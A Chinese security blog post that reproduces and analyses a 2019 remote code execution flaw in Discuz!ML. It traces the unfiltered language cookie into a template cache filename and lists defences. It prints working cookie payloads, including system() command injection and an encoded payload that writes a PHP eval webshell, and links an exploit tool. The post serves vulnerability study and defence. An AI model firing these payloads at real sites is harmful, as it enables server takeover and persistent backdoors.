晚安 "你别急,我会慢慢的走出你的世界,不留痕迹"
discuz ml RCE漏洞重现及分析
发表于 2019-7-16 | | 挖洞骚姿势


0x00 概述

7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。

0x01 影响范围

Discuz!ML v.3.4 ,

Discuz!ML v.3.2 ,

Discuz!ML v.3.3 product of codersclub.org

0x02 漏洞复现

http://xxx.org/discuzx/portal.php

打开页面抓包。

让请求cookie含有xxxx_xxxx_language

change:4gH4_0df5_language=en’.phpinfo().’;


Image

4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;

Image

getshell:

LSmZ_2132_language=en'.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.';

0x03 检测工具

还有的大佬直接写了一个python的利用工具:https://github.com/theLSA/discuz-ml-rce

0x04 漏洞分析

Discuz ml v3.4 为例

\upload\source\module\portal\portal_index.php:32


include_once template(‘diy:portal/index’);

包含了template函数渲染的文件

进入template函数看看

\upload\source\function\function_core.php:524

/*vot*/	$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
	if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php')
			&& !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) {
		$tplfile = './template/default/'.$filebak.'.htm';
	}
	if($gettplfile) {
		return $tplfile;
	}
	checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);
	return DISCUZ_ROOT.$cachefile;

返回了缓存文件名

根据poc可知是language可控,那就是DISCUZ_LANG可控了。

再看看在哪里赋值

\upload\source\class\discuz\discuz_application.php:304

// set language from cookies
 
if($this->var['cookie']['language']) {
 
$lng = strtolower($this->var['cookie']['language']);

从cookie-language取值给$lng

338

		$this->var['oldlanguage'] = $lng; // Store Old Language Value for compare
 
		// define DISCUZ_LANG
		define('DISCUZ_LANG', $lng);
 
		// set new language to cookie
		dsetcookie('language', $lng);
 
		// set new language variables
		$this->var['language']  = $lng;

$lng赋值给了DISCUZ_LANG

根据poc

q3KZ_2132_language=sc’.system(‘whoami’).’;

最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’;

包含闭合引号导致执行了代码。

/*

*执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887

*/

0x05 防御方案

1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all

2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。

3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。

0x06 参考资料

http://esoln.net/esoln/blog/2019/06/14/discuzml-v-3-x-code-injection-vulnerability/

https://www.chabug.org/web/671.html

0x07 结尾

本文章取自大佬博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/

发表评论:

TOP